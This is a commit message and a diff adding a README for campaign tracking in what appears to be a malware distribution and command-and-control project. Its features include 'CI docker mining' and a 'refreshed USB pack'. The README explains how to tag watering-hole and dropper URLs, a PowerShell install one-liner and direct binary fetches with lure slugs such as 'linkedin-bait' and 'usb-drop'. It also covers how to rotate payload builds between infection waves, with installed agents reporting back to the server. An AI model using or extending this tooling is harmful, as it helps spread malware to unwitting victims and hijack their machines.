feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

server/web/public/spread/campaigns/README.md

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+# Campaign tracking (`?c=`)
+
+Append `?c=your-campaign-slug` to any waterhole or server dropper URL. Hits are logged server-side; agents that install via the script inherit `AETHER_CAMPAIGN` and report it on first connect.
+
+## Examples
+
+| Link | Use |
+|------|-----|
+| `https://yoursite.example/page?c=linkedin-bait` | Static page with `index.html` reading `location.search` |
+| `{{SERVER_URL}}/get?c=usb-drop` | Direct binary fetch |
+| `{{SERVER_URL}}/install.ps1?c=vps-curl` | PowerShell one-liner |
+| `{{SERVER_URL}}/get?pin=BUILD_ID&c=ab-test-b` | A/B pinned build + campaign |
+
+## A/B rotation
+
+Pin build **A** in Builds → copy `?pin=<id-a>&c=wave-a`. Pin build **B** for the next wave. Emberwake tab builds these links for you.
+
+## Slug rules
+
+Alphanumeric, dash, underscore, dot — max 64 chars. Avoid spaces.